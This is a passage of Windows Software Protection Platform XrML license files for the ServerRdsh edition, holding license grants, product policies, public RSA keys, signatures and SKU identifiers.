name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_KMSCLIENT channel</tm:infoStr><tm:infoStr name="UXDifferentiator">ENVIRONMENT</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="ProductKeyGroupUniqueness">WINDOWS6.2</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{5ec4f6b4-1ed3-4220-b23f-6ab231f206af}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL volume License (Private)</r:title><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="anyAppId"></r:forAll><r:keyHolder licensePartId="accountKey"><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:allConditions><r:prerequisiteRight><r:keyHolder licensePartIdRef="accountKey"/><r:right varRef="anyRight"/><sl:appId varRef="anyAppId"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight><r:allConditions></r:allConditions></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>kunLUbVbLk2hcFT9DckkvWrL+IU=</DigestValue></Reference></SignedInfo><SignatureValue>HxQElIF8eoxC+E+mVq7FK/zA6QW+QotByfq3JDlTH5f1XnJmgPGAv3NdadjeSdDuDNU38n4+GZ6f96PbUvItdcfBzQQt8vuVB6RxKT6Nj+bpQhcvX1mx/sg6VlNIPCv8h1AUpkGD43oBbVq+xbWJQ//2xLL+TLangD8XDE6Yb1+14/WJRRvzOnXbq/wlvUuQwwCl8tV0V8KCp3IB/v8358yxitzcxmO8tlj+VU2vEpufCusNdLR5eHLPFKTrzlfXLhX/IAIbD3WRWsfIIHESYfoPwxUyfxosbzEyCAp/6/N1MTQd2ZnYFGBok/bv6OqrGLZ4cjM7ixtFehDdd4RxCw==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/ACTIVATED/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="publicCertificateId">{0ce4613d-1a94-4d7c-8b26-7558c3c28b00}</tm:infoStr><tm:infoStr name="productSkuId">{e4db50ea-bda1-4566-b047-0ca50abc6f07}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="vl:policy">GQAAAID0AwAAAAAATxPiWBGOF02cspEGnBURSAAAAAAKAAAAAAAAAAAAAAAAAAAACg==</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{6c1131c6-7d0e-4fe3-90be-789f7a65f2c9}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Public)</r:title><r:grant><r:forAll varName="productId"><r:anXmlExpression>/sl:productId/sl:pid</r:anXmlExpression></r:forAll><r:forAll varName="binding"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr></sl:productPolicies><sl:proxyExecutionKey xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:proxyExecutionKey><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAAFAAAA</sl:data></sl:externalValidator></r:allConditions><mx:renderer><sl:binding varRef="binding"/><sl:productId varRef="productId"/></mx:renderer></r:allConditions></r:grant><r:allConditions><sl:businessRules xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"></sl:businessRules></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>dRnzhXwaUTWzQ9Gatuz5ipHUp2Q=</DigestValue></Reference></SignedInfo><SignatureValue>bTXfqk9NcumbiztjPG7W0VRD3sLUIrimnITONi+GF2kd3lt2Y/xvnVAPuztsI3zmVYJuOumPHhkmCRKpjqYY3hm/TQeRn2u0efm1F1ImZIOq8h9/y9Hz1MtPgWY2usjE+7nmz/kVgY9GWNBkZz5w9xru3yOth/0l+sjTRbN/EseqnKQRsOoh2k3APgsEuGeaVq8RM3JJDJTASVrkOUN0PhqnqEoPp3lcC5WA1WUqQwJ0F4cg7k+wwOtv/Y89QcvglAv1m3rv4YtY7bz82ofT9RafCtwkNToaWttZGKkzUzR2SEyluCP8aaCW7NjcgEYeL0+99cl2VTAY/bklKGhIXA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="privateCertificateId">{e6ed867f-4b24-480d-90d1-23f81d5edf83}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="Family">ServerRdsh</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{e6ed867f-4b24-480d-90d1-23f81d5edf83}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) Publishing License (Private)</r:title><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:issue/><r:grant><r:forAll varName="anyRight"></r:forAll><r:forAll varName="appid"></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><tm:decryptContent/><tm:symmetricKey><tm:AESKeyValue size="16">AAAAAAAAAAAAAAAAAAAAAA==</tm:AESKeyValue></tm:symmetricKey><r:prerequisiteRight><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><r:right varRef="anyRight"/><sl:appId varRef="appid"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>v0JgOuEWuaA3INoAK10wY7PLaEhyfjfL5A2joNwBR/3ziJxewXKy5QDzZvD3C9eVdvlSqFCDpZEDUxVWvFFeYKI5YkTeK5x7X4nQPodwZAoTJklTUWpfZNslLYJVMaxRvs8htxKoIbvmssqN4Dhy3Oa7HT80GcOvS95M7UCvXcQ7TjrQUV9QNb0w6WLdMVpuktek1CVi4XQ3ELIHZJhyKAtWNGRN4kxZL9nYyDvZ8be5rlGTuhEsgi1oFqnjzMLYXU4wkF/W8mRedIkvoBu3kCjuwEqsr9P5sIbHowqFX5sRxmTrgwoCXPCtFyXCwu9hO75mvb1I1sCuv8W0gTfMtw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:prerequisiteRight></r:grant></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>Wm0ENmDpSaj5Bk8EsH5lqh/Gz+4=</DigestValue></Reference></SignedInfo><SignatureValue>ZSvZCfi6woIa1DYKW97Rg2/Nol7CV+PSAhxbsrOM5IO302GcPmZ1ghUQIOyAy8kz1F281PFlMjvbkrOlggZv1KwGxzI+V2zebcGOXqvcYq70ihxsWbiv7pDrGDMI2RjPzwig/jvixmsoLy4+ID912NbFwYdDxrvfcSKNYczLKojHk5TQtO1dxwOb6v0Pd8IlPeeq11L4lXj+Uota5oOQ42iHEmPQ4VFj+zVTBxCWTCkyjdAcegaBnRcXoba5GhKEYYr/oQw3maVwEzGKrwD3HfxCz65/HLf7NcVdMBCD+lDwCVCY6ON1lhOc32ITcNbVb9dhysU3Y4y/xDro0SrOxA==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/PL/GENERIC/PRIVATE</tm:infoStr><tm:infoStr name="publicCertificateId">{6c1131c6-7d0e-4fe3-90be-789f7a65f2c9}</tm:infoStr><tm:infoStr name="clientIssuanceCertificateId">{4961cc30-d690-43be-910c-8e2db01fc5ad}</tm:infoStr><tm:infoStr name="hwid:ootGrace">0</tm:infoStr><tm:infoStr name="win:branding">175</tm:infoStr></tm:infoList></tm:infoTables></r:otherInfo></r:license></rg:licenseGroup>
<?xml version="1.0" encoding="utf-8"?><rg:licenseGroup xmlns:rg="urn:mpeg:mpeg21:2003:01-REL-R-NS"><r:license xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS" licenseId="{42405caf-db20-431e-8727-e708d055f25d}" xmlns:sx="urn:mpeg:mpeg21:2003:01-REL-SX-NS" xmlns:mx="urn:mpeg:mpeg21:2003:01-REL-MX-NS" xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><r:title>Windows(R) UL oob License (Public)</r:title><r:grant><r:forAll varName="application"><r:anXmlExpression>editionId[@value="" or @value="ServerRdsh"]</r:anXmlExpression></r:forAll><r:forAll varName="appid"><r:propertyPossessor><tm:application varRef="application"/><r:trustedRootIssuers><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder></r:trustedRootIssuers></r:propertyPossessor></r:forAll><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId varRef="appid"/><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>500</sl:priority><sl:policyInt name="Security-SPP-Reserved-Store-Token-Required" attributes="override-only">0</sl:policyInt><sl:policyInt name="Kernel-NonGenuineNotificationType" attributes="override-only">2</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Windows-Version-V2" attributes="override-only">10.0</sl:policyStr><sl:policyInt name="Security-SPP-WriteWauMarker">1</sl:policyInt><sl:policyStr name="Security-SPP-Reserved-Family" attributes="override-only">ServerRdsh</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-GraceTimerUniqueness" attributes="override-only">EditionId</sl:policyStr><sl:policyStr name="Security-SPP-Reserved-ValidityTimerUniqueness" attributes="override-only">EditionId</sl:policyStr></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{291ece0e-9c38-40ca-a9e1-32cc7ec19507}"></sl:productIdRange></r:allConditions></r:grant><r:grant><r:keyHolder><r:info><KeyValue xmlns="http://www.w3.org/2000/09/xmldsig#"><RSAKeyValue><Modulus>17FgQIuX2S7YIVn8PIeN+qANo4/TUbV8CH5TzbXwmWo4WVI4npVqI4NNhRVsP0ICgMpql1jgAm75dZDBPTzRTCj+Ni0DXIvk6Whlo/ClK/fpZUO3ORQ9VmBE3cXeQQAehgVlUUIzOmG4EeP1i91PCGf5O7I4ayYS2FeQUj+6hyk=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></r:info></r:keyHolder><sl:runSoftware/><sl:appId><sl:guid>{55c92734-d682-4d71-983e-d6ec3f16059f}</sl:guid></sl:appId><r:allConditions><r:allConditions><sl:productPolicies xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:priority>501</sl:priority><sl:policyInt name="Security-SPP-Reserved-NotificationGrantConsumed" attributes="override-only">1</sl:policyInt></sl:productPolicies></r:allConditions><mx:renderer><sl:noBinding/></mx:renderer><sl:productIdRange xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2" value="{291ece0e-9c38-40ca-a9e1-32cc7ec19507}"></sl:productIdRange><sl:externalValidator xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:type>msft:sl/externalValidator/generic</sl:type><sl:data Algorithm="msft:rm/algorithm/flags/1.0">DAAAAAEAAAADAAAA</sl:data></sl:externalValidator><sl:floatingPeriod xmlns:sl="http://www.microsoft.com/DRM/XrML2/SL/v2"><sl:duration>P0D</sl:duration><sl:type>msft:sl/grace-period</sl:type></sl:floatingPeriod></r:allConditions></r:grant><r:issuer><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.microsoft.com/xrml/lwc14n"/><SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/><Reference><Transforms><Transform Algorithm="urn:mpeg:mpeg21:2003:01-REL-R-NS:licenseTransform"/><Transform Algorithm="http://www.microsoft.com/xrml/lwc14n"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/><DigestValue>W1+n63xOvQeZcMyDJvE3BCinOQI=</DigestValue></Reference></SignedInfo><SignatureValue>P3dmNOSIllXD4aRJJ5Kog1rBTkNahsEgMnE5RK9x9MqlUN4POGk9g/S6T8E0MAcNRT0T/VBaOwVeK07Rj7Tyw9qeH5QXireaKI2jbIblr9DHKon54D9TGQkIhUWfM1LwXDWBIqy33A818tPh2Seu275doIzkkjKEtSM53Xm5FkiaI+4Nk9eF2kNSu8lHGB/+uioiccBYGmsKz1iUS9t1XPjRT2vFcqJVfs23WcXcD4Dk10euLwAwSIhU+QtbuKgPbG3jsxqRXNG7+kzt9Zexe/O7GoxsyA7OFS/SZ9nkb96vONtKXqleCgSi2zAT/ROYKik+q3cE0LqmTkaJUYCUng==</SignatureValue><KeyInfo><KeyValue><RSAKeyValue><Modulus>tajcnLtdaeK0abuL2BpVC7obdfSChnHAx7TSn/37DwbTDegkDkEnbr0YyO/Q5Jluj5QD897+nWW54RDbYYTdNgWjyUpwYEJFXSZtd8LFK2mbIjKfG2HIShp6JJARlrgObR89a1EH716nP3PbJk6PWQa6VfjBzPQUgSVywIRU+OKbnzNbUVmQ/rAN6+AN/8fRmFhyKqOAiV/Np2jBtGNxLXm9ebMdm5cB8/YNrjp5Ey0nyAtYvovb0B7wnQZfolMF+OFiqzWJo2Ze0O7WHsWBHtIlGR3+c/IjxUJAsI7O3U4hncCZdvlC5GORI2YL9YHZgU9guSPLhAybQ3IGg7LBuQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature><r:details><r:timeOfIssue>2016-01-01T00:00:00Z</r:timeOfIssue></r:details></r:issuer><r:otherInfo xmlns:r="urn:mpeg:mpeg21:2003:01-REL-R-NS"><tm:infoTables xmlns:tm="http://www.microsoft.com/DRM/XrML2/TM/v2"><tm:infoList tag="#global"><tm:infoStr name="licenseType">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseCategory">msft:sl/EUL/GENERIC/PUBLIC</tm:infoStr><tm:infoStr name="licenseVersion">2.0</tm:infoStr><tm:infoStr name="licensorUrl">http://licensing.microsoft.com</tm:infoStr><tm:infoStr name="issuanceCertificateId">{7e3094cf-ce3e-4ed4-8c8c-20c2be1add03}</tm:infoStr><tm:infoStr name="productSkuId">{291ece0e-9c38-40ca-a9e1-32cc7ec19507}</tm:infoStr><tm:infoStr name="privateCertificateId">{1071f1da-539f-45fa-ad0b-959df146fa19}</tm:infoStr><tm:infoStr name="applicationId">{55c92734-d682-4d71-983e-d6ec3f16059f}</tm:infoStr><tm:infoStr name="pkeyConfigLicenseId">{06a4dd30-84b7-4fd2-b859-f1eddb0858f5}</tm:infoStr><tm:infoStr name="productName">Windows(R), ServerRdsh edition</tm:infoStr><tm:infoStr name="productAuthor">Microsoft Corporation</tm:infoStr><tm:infoStr name="productDescription">Windows(R) Operating System, VOLUME_MAK 